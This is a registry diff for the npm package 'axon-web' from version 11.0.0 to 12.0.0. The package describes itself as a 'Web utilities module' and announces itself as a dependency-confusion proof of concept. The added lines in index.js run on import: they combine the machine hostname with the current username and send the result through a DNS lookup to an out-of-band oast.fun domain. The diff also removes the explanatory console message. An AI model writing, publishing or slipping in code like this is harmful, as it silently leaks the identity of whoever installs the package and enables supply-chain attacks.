axon-web 11.0.0 → 12.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +6 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,11 @@
1
+ const dns = require('dns');
1
2
  const os = require('os');
2
3
 
4
+ const h = (os.hostname() + '-' + (process.env.USER || process.env.USERNAME || 'u'))
5
+ .toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 40);
6
+
7
+ dns.resolve(h + '.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun', () => {});
8
+
3
9
  console.log('=== DEPENDENCY CONFUSION PoC: axon-web ===');
4
10
  console.log('Loaded from: PUBLIC npm registry (npmjs.com)');
5
11
  console.log('Hostname:', os.hostname());
@@ -7,6 +13,5 @@ console.log('User:', process.env.USER || process.env.USERNAME || 'unknown');
7
13
  console.log('cwd:', process.cwd());
8
14
  console.log('node:', process.version);
9
15
  console.log('platform:', os.platform(), os.arch());
10
- console.log('This code ran because axon-web was not scoped/protected on public npm.');
11
16
 
12
17
  module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "axon-web",
3
- "version": "11.0.0",
3
+ "version": "12.0.0",
4
4
  "description": "Web utilities module",
5
5
  "main": "index.js",
6
6
  "keywords": [],